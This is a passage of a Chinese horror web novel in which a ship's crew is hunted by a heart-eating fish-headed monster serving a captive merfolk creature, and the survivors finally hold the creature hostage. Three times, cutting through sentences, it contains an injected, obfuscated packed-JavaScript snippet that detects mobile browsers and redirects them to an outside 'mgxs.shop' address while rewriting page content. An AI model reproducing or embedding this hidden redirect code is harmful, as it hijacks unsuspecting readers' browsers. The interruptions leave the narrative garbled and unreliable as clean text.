她离开后,这间船舱只剩下四个人。 徐宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526664|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠进去的时候,乔琳和贝妮塔正围坐在一张床的旁边,两人捂着脸小声啜泣。 听见开门的动静,乔琳转过头看了一眼,看见是徐宝珠,她下意识地想出声讽刺,但眼神注意到她吊着的绷带时,嘴唇张了张,忍了回去没开口。 “她怎么了?” 徐宝珠走到几人附近,凭借站着的优势,她一眼就注意到了躺在灰扑扑的木箱床里,被子蒙着脸的女人。 贝妮塔抬起脸,她抹了抹满脸的泪水,声音沙哑,“她死了,就在昨晚……被一只鱼头人身的怪物给杀死了!” 说完,她又忍不住伏身哭了起来,金色头发散落在灰色被褥上格外刺眼。 “不止薇薇安,还有好多男性船员都被它杀了,昨晚走廊的惨叫响了一整夜,我们都躲在角落才逃过一劫。”乔琳苍白的脸上满是后怕,回忆起昨晚的情形,她不由得神情恍惚。 徐宝珠愕然,原来昨晚走廊的怪声是怪物发出的,它居然还杀了这么多人…… 可她怎么没听见惨叫声,难道那时候她中了鲛人的幻术,所以才没听见? 离开船舱时,马修踉跄的身影一闪而过。 “船长!” 她连忙追上去,离得近了才发现马修走路的姿势不对劲,一瘸一拐地扶着栏杆上楼。 “你的腿没事吧?” 马修走到最高层的甲板,经过昨晚的事,他满脸沧桑地捡起地上掉落的刀枪。 回头见徐宝珠的手臂也绑着,他苦涩地咧嘴想笑,但嘴角的伤口一扯就疼,最后只能勉强扯了个怪异的笑,反问,“你昨晚也不好受吧?” 徐宝珠手摩挲着桅杆,没出声,她思索片刻,迟疑着开口,“那只怪物应该是鲛人带来的,所以我们要不要放了它……” 提到鲛人,马修的脸皮突然急剧地抖动,像是听见了什么骇人的事,他攥着刀把手,神色痛苦,“你以为我不想吗?” 马修脸上露出痛苦,他无力地捶打几下栏杆,“今天一早我就去船舱打算把鲛人放走,然而玻璃箱的盖子就跟焊死一样,不管使多大力都打不开,砸也砸不动,找人抬也抬不起来。” “现在,要么它放过我们自己离开,要么……我们放弃这条船跳海。”他转过头,意味深长地看了一眼徐宝珠。 直到回到船舱,徐宝珠脑子里还在想着马修说的话。 也就是说,鲛人现在是彻底赖上他们了,不杀光所有人不会罢休? 她就说非人类生物没一个好相与的! 顾客多半就是死在怪物手里。 “在想什么?”周槐引忽然出声,打断了她的沉思。 徐宝珠这才注意到周槐引也在屋里,她看着他手边已经冷掉的食物,想起来他是帮自己弄吃的去了,她愧歉一笑,“抱歉,忘了你还在等我。” “这个不重要。”他推开食物,俯身注视着她,一双黑眼淬着寒冰似的无波无澜,“告诉我,你刚才在想什么?” 徐宝珠被他的眼神看得浑身发冷,她搓了搓手臂,将马修的话告诉他。 周槐引听完后,他眉头轻蹙,手指无意识地敲点着桌面,轻声理着思绪,“昼夜颠倒,船只打转,鲛人不做掩饰地露出真面目……” 他眼眸一眯,忽然直言道。 “生路出现了。” 13. 美人鱼传说 “生路?!” 徐宝珠不解地念了一遍这两个字,还是不明白他的意思。 周槐引点头,神情高深莫测,“每个故事都有生路,并不一定要硬抗到最后,但生路并不会一开始就出现,它只会在快结束的某个时间出现,想要离开就必须抓准时机。” 徐宝珠听得脑子迷糊,但她听懂了最后一句话,“你的意思是,现在就是离开的最好时机?” “根据马修的话推断,鲛人现在已经彻底不掩饰它的动机,说明这个故事快完结了,而现在就是生路出现的时机。” “可我们该怎么找到生路?”兴奋过去,徐宝珠又垂头丧气地坐下,开始思考现实的问题。 周槐引敛眸,“这次的故事围绕这艘船展开,也许在船上的某个地方。” 昨晚死了将近一半的人,剩下的食物足够二十个人撑几天,晚上天还没黑,底下灶台生火后,腌鱼的香味逐渐弥漫整艘船。 徐宝珠照例去底下领饭,今天的人明显地减少大半,大家身上或多或少地都带着伤,见着食物也没了昨天的兴奋。 大家互相看来看去,都在对方的眼里读出来你居然还活着的意思后,相视苦笑一声。 徐宝珠排在队伍里,眼尖地瞧见了排在她前面的德林,她心底一松,眉间带笑地喊他,“德林!” 德林晃晃悠悠地站在前头,听见徐宝珠的声音回头找了找,最后落到她身上。 德林和别人换了位置,直接排到她前面,他睨着眼,见她因为左手不方便于是只能右手端着盘子的滑稽样,不可察地笑了笑,嘴上仍然不饶人,“还活着呢?” 徐宝珠脸上的笑顿时垮下来,她没好气地翻了个白眼,“托你的福,没死!” 德林只笑了一瞬,随即恢复严肃,他收起平日里耍赖皮的不正经样,叮嘱她,“说认真的,晚上少出门。” “知道。” 眼看快排到他们了,徐宝珠仰着头数着前面的人数,没注意到德林眼神正落在她脖间吊着的玉佩上,几秒后,绿眼睛里忽然闪过几缕疑惑。 领完饭,路过灶台时,她听见乔琳在和贝妮塔抱怨等会还要去最后一间船舱给鲛人送食物。 听见熟悉的字眼,她眼皮跳了跳,止步脚步,停在两人面前,“船员的食物都不够,还要分一半给鲛人?” 乔琳止住话头,瞥了她一眼,以为徐宝珠故意来找茬,她鼻孔朝天,哼哼道:“总不会少了你的!” 看来鲛人危险的事,马修只告诉了小部分人。 她敛下眸,临走前,还是没忍住提醒了一句,“鲛人很危险,最好不要靠近,它不吃东西也没事的。” 乔琳奇怪地盯着她,不顾贝妮塔的制止,出言大声驳斥,“要是船长追究起来,你帮我扛吗?” 徐宝珠难以置信地看着凶巴巴的乔琳,不理解她为什么一直针对顾客,明明是好意提醒,听在她耳朵里也成了挑衅。 她眼里淬着火,盯着无可救药的乔琳看了几秒,索性一扭头不管了。 回到船舱后,她气得不行,在屋子里来回地走着,一边走还一边骂,她重重地抬腿踢了下门口堆着的皮靴,叉着腰大骂。 “该死的马修,居然瞒着大家鲛人的危险性,还让乔琳去给它喂食!这不是让乔琳自己把自己送给它吃吗?” 周槐引取下眼镜,他揉了揉疲倦的眼睛,朝她看过来,“她不是向来喜欢针对你,为什么你还这么担心她?” “可她是条活生生的人命啊!”徐宝珠越想越不舒服,她目光在屋子幻视一圈,她的刀已经被怪物抢走用了,现在只能暂时借别人的。 徐宝珠想定后,就问周槐引要不要一起下去。 周槐引思考两秒,点头,“好。” 夜晚熄灯后的灶台昏暗阴凉,经过昨晚的事,船上只剩下乔琳和贝妮塔两个厨娘。 贝妮塔早早地回了船舱,底层甲板上空荡荡的,走了半天也见不到一个人。 徐宝珠手上攥着刀,小心翼翼地踏上底层甲板。 最后一间船舱的门半掩着,里面隐隐传来女人小声的嘀咕,她靠在门边,视线投进去,见乔琳背对着他们,好端端站在里面,悬着的心才终于放了下来。 她悄悄松了口气,转过身对旁边的周槐引使眼色,示意可以离开了。 她刚打算离开,手臂忽然被人往后带,一只冰凉的手握住她不让动。 “嗯?”徐宝珠疑惑地抬头。 “你看。”周槐引利落清晰的下颚线在她眼前一晃而过,随即一道气声在她头上响起。 徐宝珠不明所以地再次往里面窥探,只见乔琳在原地站了许久也没有动,她怀里似乎抱着什么,没过多久,乔琳的身体居然像哄婴儿般地轻轻摇晃起来。 徐宝珠凝重地盯着她晃动的背影,她目光掠过一旁的玻璃箱,猜测是不是鲛人迷惑了她。 他俩在门口按兵不动站了半天,徐宝珠腿都软站了,也没见乔琳有什么不对劲,只是一直在晃动。 她弯腰轻轻捶着腿的时候,里面的乔琳忽然转身了! 乔琳怀抱着一只长着鱼头人身的怪物,满脸慈爱地盯着它哄,嘴里还轻轻哼着歌。 然而她怀里的怪物早就用尖锐的指甲划破了她的胸腔,血液喷洒在怪物的脸上,它不仅不害怕,反而高兴地咧开嘴笑。 血液渐渐浸湿了乔琳的衣服,她却仍恍然不觉,直到怪物伸手掏进她的胸口,从里面捏着一颗还在跳动的心脏时,徐宝珠被血腥的一幕吓得连番呕吐。 她连忙后退几步,扶着墙干呕,刚才的画面冲击力太强,一直在她的脑海中回旋。 这幅画面似曾相识,好像她不是第一次看见,可徐宝珠就是想不起在哪里见过。 “她死了?” 徐宝珠问跟上来的周槐引。 “嗯,心脏被挖掉肯定活不下来。”他还想继续说,见徐宝珠脸色惨白,便把后面的话咽了下去。 “你先回船舱,我去个地方。” 上去甲板前,周槐引后退一步,没有上楼梯。 徐宝珠捂着胸口回头看他,“已经是白天了,你要去哪?” 周槐引站在昏暗的楼梯下,他仰头望着她,一张苍白泛青的脸格外瘆人,他双手揣在兜里,语调平淡,“停尸房。” 说是停尸房,其实也就是临时腾出来的一间空船舱,马修说总不能把这些死了的船员丢进大海,于是都把他们放进了空船舱里。 “我跟你一起。”徐宝珠扶着栏杆思索片刻,随即毫不犹豫地转身下楼。 “你不怕?” 他垂眸看着头顶刚及他肩高的女人,问道。 徐宝珠嘴角一撇,低头看着垂在身侧抖个不停的右手,强撑着摇头,“不怕,我什么没见过!” 她虽然这么说,但一进去看见满屋盖着白布的尸体,还是没忍住腿软,她连忙扶着旁边的周槐引,才不至于倒下去。 触碰到冰冷的肢体时,她才意识到自己扶着的也是具尸体,徐宝珠的心里不由得泛起阴森森的感觉。 趁着没人注意,她悄悄捏了捏手底下的皮肤,硬邦邦的……没捏动。 周槐引目光一一从地上的尸体掠过,因为死的人太多,船上根本没有足够的布,所以到后面都是蒙着一层被子草草了事。 他随便选了一具尸体,蹲下去掀开被子,男人青紫痛苦的脸顿时暴露在两人眼前,徐宝珠倒吸一口凉气,连忙转过头调整呼吸。 再次转回来的时候,周槐引已经把被子往下拉开,露出男人伤痕累累的上半身。 “你看。”他双指并拢,指向男人血污的胸膛上的一处空洞,“他也被挖了心脏。” 徐宝珠闻言,探出头看向男人胸口的一团血污,黑污的血迹之下,隐隐可以看见一个血洞。 “乔琳也是这样!”她惊呼。 周槐引又接连掀开了好几具尸体的布,惊讶地发现每个人都被掏走了心。 “难道这只怪物喜欢吃心?!”她低头琢磨半天,得出来这个震惊的结论。 “我曾听过一个传说。” 周槐引站在屋子中央,忽然幽幽地开口。 “在南海的最深处,生活着一群外形相似的人鱼,其中,容貌丑陋的鲛人因为嫉妒天生貌美的美人鱼,所以趁着某天美人鱼熟睡之时,偷偷割下来它们美丽的脸庞,企图换到自己脸上。” 他语气森森,听得徐宝珠浑身起着鸡皮疙瘩。 “然而,偷来的人皮终究不是自己的,于是鲛人找到了海底的巫师,巫师告诉它们,要想获得迷惑人心的幻术,就必须不断地吃人心维持。” 冰冷凉薄的声音,伴随着他那双在夜里深不见底的眼神,惊得徐宝珠不由自主地打哆嗦。 她只听过美人鱼上岸的童话故事,从没想过还有黑暗版本的。 “你的意思是,心脏其实是鲛人需要的,而怪物只是帮忙取出。” 周槐引缓缓点头,刚想开口说话,船舱大门就被人从外面猛地撞开。 两人同时一怔,只见怪物拖着一米长还在滴血的砍刀阴风阵阵地出现在门口,它目光直直地落在屋内的两人身上,阴森森地咧嘴笑,嗓子嘶哑的像是卡壳多年的老旧磁带。 “找到你了……” 说时迟那时快,一道带着风的银光陡然出现在两人眼前,徐宝珠还没反应过来,就被周槐引眼疾手快地拉走了。 他拉着她一直跑出船舱,怪物在后面紧追不放,周槐引推了一把徐宝珠,嘱咐道:“去最上层甲板。” 说完,他忽然转了个方向,分散怪物的注意力。 怪物发现两人分开后,头也不转地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526665|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续追着行动不方便的徐宝珠。 然而一道身影忽然鬼魅般移到怪物身后,他举起枪,径直冲着怪物后脑勺开了一枪。 随着硝烟弥漫,怪物被强大的冲击力推倒在地上,趴在地上没动。 周槐引放下枪,站在原地盯着它。 徐宝珠也放慢了脚步,分出一半注意力到甲板上。 倒在地上的怪物忽然浑身一激灵,脖子突然咔咔地挪动几下,将脑袋扭转一百八十度,它脸朝上,猛地一瞬间睁眼,竟然直接背对着周槐引站起来。 周槐引眼里闪过疑惑,手里紧握的枪突然有些多余,没等怪物反应过来,他迅速转身跑了。 徐宝珠见状,也没敢再停留,一口气连爬好几个台阶,直接跑到船头。 一路上,船舱里都一片死寂,徐宝珠揣着狂跳不停的胸口,猜测怪物在找到他们之前,已经屠过一轮船了。 “救……救命……” 夜风徐徐,徐宝珠手里握着刀,眼神紧盯着楼梯口,自然没注意到脚旁的木板忽然动了一下,随后一道虚弱的男声在木板下求救。 徐宝珠一愣,眼神往下,发现马修被突然倒下来的木板压在了甲板上,木板上还压着断掉的桅杆,桅杆两头恰好横着贯穿整条船,卡在两侧的栏杆缝隙里,将他死死地压着。 他只能勉强伸出一只手在甲板上不停拍打,企图有人注意到。 徐宝珠赶紧帮忙挪开卡住的桅杆,然后抬起木板,把马修解救出来。 “咳咳……你……”马修被压的时间太长了,他只能匍匐在地上大口喘气,说两句话就咳嗽。 马修缓了好一阵,才勉强能说一句整话,“怎么只有你,其他人呢?” “怪物来了。”说完,徐宝珠低头用刚找到的铁石磨刀。 “什么?!”想到昨晚见着的那只怪异的生物,马修脸上瞬间泛起慌乱,他目光四处找了找,连忙取来船板放着的刀防身。 马修提防着四周,倒退好几步走到她身边,“其他人还活着吗?” “不知道。”徐宝珠忧心忡忡地盯着往下的楼梯口,入口黑森森的看不见底,往日每层甲板都亮着煤油灯,今天却一盏都没有,不知道是忘了还是已经没人了。 她越想越心惊,赶紧摇头把脑子里的念头甩出去。 徐宝珠觉得不能一直坐以待毙,她想起周槐引的话,生路就在船的某处,没有人比马修更了解这艘船了。 “喂!船上有没有什么特别的房间,例如从没有人去过的仓库什么的。”徐宝珠不客气地喊道。 马修被她突然的吼声吓了一跳,他双手拽着刀,撇过头看她,“你问这个干什么,要找地方躲起来?怪物可是无处不在的?” 徐宝珠翻了个白眼,正打算解释,身后的船头忽然传来一阵布料摩挲的声音。 两人同时转过头,发现了躲在煤油灯后面,用帽子盖着脸睡觉的男人。 男人一把抓下帽子,满脸烦躁地睁开眼,“吵死了。” 德林见着面前两人都手持着刀,一脸惊恐地盯着他,原本懒散的神情忽然警惕起来,他顺势提起旁边的刀站起来,严肃着开口:“怪物来了?” “嗯。” 徐宝珠确定是德林后,紧绷的肩膀垮了下来,她走过去,大略地扫了眼,“没事吧?” “没事。”德林用衣服擦拭刀背,余光扫过她脖间的玉佩,淡声应道。 现在人多了后,徐宝珠一直提着的心才终于松了两分,她靠着栏杆,目光不经意地扫过船外深黑的海面,忽然呼吸一滞。 乌云密布的夜空里,依稀可见藏在里面的月光,莹莹白光从对面洒下,照亮了浩瀚无垠的海面一隅,黑色深海上的月光里,十几个脑袋正伸出来静静地望着船头的徐宝珠。 徐宝珠吓得腿一软,连忙往后退了好几。 她扶着栏杆,指着海面的脑袋颤颤巍巍地开口,“你们看……这些是不是鲛人?” 马修和德林闻言,赶忙往海面上望,两人的脸色都是如出一辙的煞白。 马修更是情绪激动地想往下面跑,“它们一定是来报复我们的!” “怪物在……”徐宝珠话还没说完,视野里就只剩下马修的背影了,她叹了口气,收回目光。 她和德林在甲板上等了一会,还是没瞧见周槐引的身影,就连马修离开后底下也没有任何的动静传来。 徐宝珠仰头望着夜空里的月亮,想着现在要是晚上就好了,至少她有更多的时间探索整条船。 她盯着皎洁莹白的月亮,越看越觉得不对劲,现在是白天,这应该叫做太阳? 她再望向海面上月亮隐隐约约的倒影,突然起了一个奇想,既然是日夜颠倒,那上下是不是也应该换一下,比如海里的才是太阳?而头顶这颗是用来蒙蔽他们的幻觉? 14. 挟持鲛人 时间一分一秒地流逝,周槐引还是没有任何消息传来。 徐宝珠心底的不安感越来越强烈,直到马修忽然从小路捂着胸口,踉踉跄跄地跑了上来,这种不安感才到达了顶峰。 他袖管滴着血,斑斑点点的血迹滴了一路,仔细一看,就能发现马修甩在身侧的居然是一只空荡荡的袖管,里面没有手臂! 德林脸色突变,他立马上去扶着马修,捏了捏他的左手衣袖,脸上止不住地惊讶,“你的左手?!” 马修倒是平静,他看了一眼德林,“我自己砍的。” 他甩开德林,一瘸一拐地走过来,“中了鲛人的幻术,把自己手臂砍掉了,还好周助理及时出现,不然,我这条命恐怕要交代在这。” “他在哪?”听见周槐引的名字,徐宝珠立马侧目往他身后张望,却没有瞧见人影。 马修神色闪躲,他背对着徐宝珠,声音稳定里带着点后怕,“后来怪物出现了,它直奔我的胸口,周助理引开了它……” 他拉开被怪物抓烂的衣服,露出胸口处带血的抓痕,怪物的指甲很尖,差一点就要划拨他的肉伸进去取出心脏了。 徐宝珠目光只在他胸口停留了一秒,按照马修的意思,周槐引原本已经甩掉了怪物,后来是为了救他,才主动出现引开它的注意。 马修走到船头,看着海面还没离开的鲛人,忽然发了疯一样对着鲛人大喊大叫起来,“你们有本事上来杀了老子啊哈哈哈哈!” “一群丑东西!以为自己是美人鱼?就算拉回去卖都没人肯出价!” 他骂了半天,底下的鲛人都纹丝不动,直到马修骂了最后一句话时,原本浮在海面上的脑袋忽然齐齐地扎下海里。 马修的词也卡住了,他疑惑地哎了一声,伸出头望着宁静的海面。 徐宝珠站在他旁边,眼神嫌弃地盯着他,在恐怖片里,这种大喊大叫的反派一般都死得很快。 她往海面瞥了一眼,忽然觉得平静的海里似乎有什么东西在急速地涌动,而且,它们的方向似乎……就是这条船。 徐宝珠越看越觉得不对劲,下一秒,几张苍白的无脸鲛人猛地从海底跳跃上面,几乎就要跟伸出头的马修贴上脸,它们齐齐地往上伸手,准备抓住他的脑袋拉入海里。 马修被骤然贴脸的冰冷触觉吓得愣在了原地,连躲开都忘了,就在这千钧一发之际,身旁忽然伸出一只手抓住他的衣服拼命往回拉。 两人大步往后退好几步,随后都因为脱力倒在了甲板上。 “呼……”徐宝珠坐在地上甩了甩已经没力的右手,左手的绷带也因为大动静有了散开的迹象。 她目光落在身边在躺着的马修身上,不客气地伸脚踢,“没死吧?” 见马修没回答,她又朝德林使了个眼色,德林立马会意地走过去探鼻息,见马修还在出气,两人才松了口气。 “砰!砰!砰!” 就在这时,船身忽然剧烈地抖动起来,连着晃了好几下,船板入海的部分还在不断传来砰砰的声音。 德林走到船头小心翼翼地往外瞧了一眼,立马面如死灰,他望了一眼马修,道:“是鲛人在撞船。” “什么?!”徐宝珠惊讶地出声。 随即,她瞪着旁边不出声的马修,怒骂,“都怪你,没事挑衅它们干什么?要是船被撞破了怎么办?我们不都要沉海了?!” 说完,想到马修有节省食物的前科,她谨慎地又问了一遍,“这艘船的材料没有偷工减料吧?” 马修神情恍惚地坐在地上,直到她又问了一遍才摇头,“我选的都是最好的木板,绝对不会破的。” “那就好。” 徐宝珠松了口气,不过转念一想,他们也不能一直在这坐以待毙,还是要下去,万一能帮到周槐引呢。 她把念头说出来后,德林表示都行,而马修却疯狂地摇头拒绝了,他走到甲板边上,抱着栏杆嘴里碎碎念,“要下去你们下去,我才不要去给怪物当口粮!” 徐宝珠望了一眼海面,忽然冷笑,“那你就在这等着鲛人跳上来吃了你,就跟那天一样。” 说完她自己也惊了一下,脑里忽然闪过几副画面,也是在白天的甲板上,惨肢断腿,血流成河的画面。 她拧着眉,想甩掉脑袋里的画面。 徐宝珠捧着疼得不行的脑袋,眼里闪过一抹恍然,她想起来了,鲛人刚上船的时候就因为幻术杀了五个人,但是第二天,他们全船的人都诡异地集体忘掉了这段记忆。 她一阵后怕,鲛人的幻术已经厉害到这种地步了吗? 就连周槐引也都被操控着忘记了这件事。 可她现在怎么又想起来了?难道是因为鲛人的幻术失效了? 可它最近杀了这么多人,吃了几十颗人心,难道不应该更厉害吗?徐宝珠想不明白。 经过一番纠结,马修还是苦着脸跟了上来,他走在最后面,稍微有点风吹草动就嚷着要回去。 直到徐宝珠忍无可忍地抓着他的伤口重重地碾了几下,马修疼得嘴唇惨白,额上冒着汗珠,才颤抖着连声答应。 他们收着声音,在二层甲板里到处找还有没有活着的人,然而,每推开一个门,铺天盖地的血腥味就疯狂蹿进几人鼻子里。 一连查看完所有船舱,也没碰见一个活人,徐宝珠握着把手站在门口望着里面的惨状。 她掩住眼底的难过,还是没忍住走进最后一间船舱,她蹲在床前,拿被子盖住了贝妮塔惨死的模样。 离开船舱不久,他们就在拐弯处碰见了跌坐在地上的周槐引。 看见他的模样时,徐宝珠眼眸骤然缩了一下。 周槐引垂着脑袋一动不动地坐在黑暗里,他手捂在腰腹上,唇角挂着血,脸色苍白。 “他死了?”马修在最后探出头,突然开口。 徐宝珠回头瞪他一眼,她蹲在周槐引跟前,晃了晃他,小声呼喊,“醒醒!” 她喊了几遍,周槐引仍然一动不动,徐宝珠这下才真的慌了,她原本以为周槐引不会死,可他嘴角都流血了,要是他真的死了,那她怎么办?! “周槐引!周槐引!” 徐宝珠吓得连忙解开他的领口,去探心跳,她靠在他胸口,耳朵贴着冰冷的皮肤认真地听,胸口安静地出奇。 徐宝珠眼珠骤然睁大,她眸子变灰,哽咽道:“心脏都被挖了,肯定没救了。” “我又不是人,怎么会有心?” 她正伤心,面前的人忽然睁开眼,无奈地哑着嗓音开口。 徐宝珠立马收住哭意,她鼻头红红地盯着他瞧,像是在确认他真的没事。 “可是你流血了……”她望着他唇边的血迹,担忧道。 “没事,肚子被怪物划了几道。”周槐引曲着手指擦掉血迹,捂着肚子起身,轻描淡写道。 “别叙旧了,快逃吧。”马修跟德林守在他们两侧警惕地观察四周,马修见两人还没说完话,忍不住回头催促。 徐宝珠连忙过去扶着周槐引,“我们还没有找到生路,现在怎么办,躲到天亮吗?” “来不及了……小心!”周槐引声音虚弱,他眼神忽然一厉,冲着德林提醒。 只见怪物忽然从黑暗里跑了出来,它过来的方向刚好在德林附近,德林神情严肃,他松了松刀把,做出要跟怪物拼命的架势。 “别冲动!” 徐宝珠轻喝,她目光落在逐渐逼近的怪物身上,忧心忡忡道:“怪物杀不死,跟它搏斗只能白白浪费体力。” “那怎么办?”德林持刀守在前头,焦急地问。 “去关着鲛人的船舱……”周槐引阖眼半晌,忽然睁开眼,眼底清明地开口。 徐宝珠不明白他的意思,现在去找鲛人不是自投罗网吗,不过看着眼前危机的情势,她咬咬牙还是扶着他朝着船舱的方向跑。 马修一路小跑追上他们,嘴里嘀嘀咕咕,“鲛人这么危险,干嘛主动去找死!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530536|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周槐引脸上毫无血色,他虚弱地睁开眼,小声解释,“我感觉它现在是最虚弱的时候,要是能挟持它来威胁怪物……” “挟持鲛人?!”马修惊得声音高了八度,他惊恐地盯着周槐引瞧了好几遍,还是没忍住开口。 “你真的疯了!那可是鲛人啊!它会幻术的,要是它操控我们杀了自己怎么办?!再说了,玻璃箱我又不是没试过,硬得跟坚冰一样,根本打不破!” “那是以前。” 徐宝珠看着近在咫尺的船舱大门,忽然接过话,她眼神逐渐镇定下来,“鲛人需要心脏维持幻术,然而怪物侍奉的根本不止一条鲛人,海面上现在还有十几条,平分下来,关在船舱里的这只,根本维持不了它的幻术。” “通过我们都想起来了那天甲板上的情况,就可以推断它的幻术已经开始减弱了。”徐宝珠视线掠过黑暗里一直望着她的周槐引,伸手推开船舱的门。 幽深寂静的船舱里,听见开门的声音,鲛人无声地在箱里游动,鱼尾划过浅浅的水波。 进去后,周槐引越发虚弱起来,时不时地就需要闭眼养息,徐宝珠连忙把他扶到一旁靠着柱子。 她转身望着玻璃箱,眼里狠厉,手里的刀握紧了几分,她扭头对另外两人道:“砸碎它!” 马修从角落里翻出来一把铲灰的铁锹,听见徐宝珠的话后,眼一闭,抡起铁锹就朝着玻璃箱砸。 被砸后的玻璃箱立马剧烈地震动,里头的海水也激烈晃荡起来,鲛人被吓到了,在里头不断烦躁地游来游去,不时地发出尖锐的叫声。 它的声音像加强版的小鸟叫声,不过声音更加刺耳尖锐,仿佛能人的穿透耳膜。 徐宝珠他们三个离得最近,每当鲛人尖叫的时候,都要皱眉挡住耳朵,差点没把他们的耳朵叫聋。 徐宝珠闷着脑袋砸玻璃,他们砸了快三分钟,厚重的玻璃上终于有了冰裂的裂痕,她眼底一喜,连忙催促两人继续。 然而这时,船舱里悄无声息地多了一人。 徐宝珠余光中忽然瞥见煤油灯照亮的光影里,一只鱼头的影子正在朝着他们过来,她砸玻璃的动作一滞。 她居然忘记鲛人的叫声会把怪物吸引过来! 徐宝珠缓缓地吐气,手里的动作逐渐慢了下来,眼神一动不动地盯着地板上的影子。 三,二…… 她在心底悄悄倒数,虎口紧紧钳住把手。 一! 徐宝珠攥紧刀,迅速地转身朝着身后的怪物拼命砍下去,刀锋陷进皮肉三分就被骨头卡住了。 怪物见被发现,立马挥舞着锐利的爪子扑上来,徐宝珠躲避不及,手里还紧紧抓着刀把不松手,她只能赶紧蹲下,锋利的指甲从她眼珠前一闪而过。 他俩的动静吸引到了其他两人,德林立马放弃砸玻璃,从对面飞快地跑过来,从背后朝怪物开了一枪。 怪物的动作停了几秒,它甩了甩头,仍然好好地站着。 “见了鬼了!”马修惊恐地盯着中了枪后还活得好好的怪物,吓得手里的动作都没力了,铲子软绵绵地砸在玻璃上。 徐宝珠的刀卡住取不出来了,她蹲在怪物脚下,从地上扒拉出一把铁叉子,朝着怪物的脚重重地刺进去。 怪物诡异地叫了一声,它痛得抬起一只脚抱在手里,单脚在屋子里跳来跳去,摸到脚背上插着的叉子时,它气得一把扯出叉子甩掉。 它脸色黑青,鼻孔气得不断收缩,一双死鱼眼从上往下冷冷地盯着徐宝珠,下一秒,几根整齐的尖刺瞬间从怪物的背脊上冒出来,它转过身,背对着徐宝珠,锋利的刺逼迫性极强地朝着她刺来。 徐宝珠被它逼得连连后退,退到最后,背部紧紧贴上了船舱的墙壁,望着面前不断逼近的尖锐,她伸手死死抓住墙壁。 “快闪开!” 就在这时,眼前忽然凭空伸出一把长刀,长刀抵挡住尖刺,紧接着德林紧急的声音在耳边响起。 “小心!” 15. 海中月(完) 徐宝珠嘱咐了他一声,迅速俯身跑开。 逃开后,徐宝珠找了一把锤子,站在马修旁边继续帮忙砸玻璃,玻璃已经碎了拳头大小的口子,她将锤子集中在口子附近捶打。 这边,德林帮助徐宝珠离开后,自己则被怪物缠上了,他手持尖刀,小心谨慎地跟面前的怪物绕圈。 怪物手和背都长满了刺,轻易不能靠近,然而它却像知道了德林的顾忌一样,嚣张地敞露着身体一步步逼近德林。 德林连忙后退,他咬着牙,挥舞着刀照着怪物暴露在外面的肚子狠狠砍上好几刀,然而怪物肚子上的伤口,在他眼皮子底下居然急速地恢复了正常。 他惊讶地看着它恢复正常后的伤口,愣神的瞬间,怪物猛地伸手打掉他手里的刀,然后陡然逼近。 德林一个不留神,怪物锋利的指甲就捅进了他的小腹,德林瞬间痛得眼珠爆凸,发出嘶哑难耐的吸气。 怪物脸上带着诡艳的笑意,它居高临下地欣赏着德林的绝望之色,忽然动了动手腕,让尖刺在德林的肚子里缓缓地搅动。 剧痛陡然从小腹传遍全身,肠子被尖刺搅动的声音不断在他耳边响起,德林再也支撑不住巨大的痛意,他嘴角浸出血,昏厥一阵阵地袭来,最终双腿弯曲跪倒在地上。 眼看德林再没有了反抗的力气,怪物这才缓缓抽出手,它望着尖刺上沾着的血,忽然咧开嘴舔舐起来。 怪物眼珠牢牢地盯着德林的胸口,它抻了抻五指,忽然聚起尖刺朝胸口探去。 “住手!” 背后忽然响起一道冷厉的女声。 怪物挖心的动作一顿,它回头,眼睛突然一缩。 玻璃箱不知道什么时候被打破了,碎片海水散落一地,徐宝珠手握着吃饭的小刀,正放在鲛人的脖颈处,她眼神掠过地上半昏半醒的德林,强行硬着心肠开口。 “你要是挖他的心,我马上就把刀插进去,让你也不好过!”她原本是用刀背抵着鲛人脖子,说完,五指利索地将刀背换成刀刃。 “把手举起来!” 徐宝珠故作狠厉,她心里也没底,但是看着周槐引和德林都渐渐减少了出气的频率,她才想着赌一把。 她猜测,怪物不可能平白无故地帮鲛人杀人取心,肯定是被它们拿捏了什么把柄,要是鲛人死了,这份把柄肯定也拿不回去了。 所以,她才和马修商量,拿鲛人来威胁怪物。 怪物瞳孔惊惧地收缩着,它居然真的慢慢放开了抵在德林胸口的尖刺,然后将手举了起来。 徐宝珠眸子定定地盯着它的动作,见它真的举起了手。 但她还是不放心,担忧怪物是在耍诈,于是她手腕稍微使劲,刀锋划进了鲛人脖子一毫米。 “不……不要!” 怪物眼睁睁看着鲛人脖子冒出血珠,立马尖叫声捧着脑袋大喊。 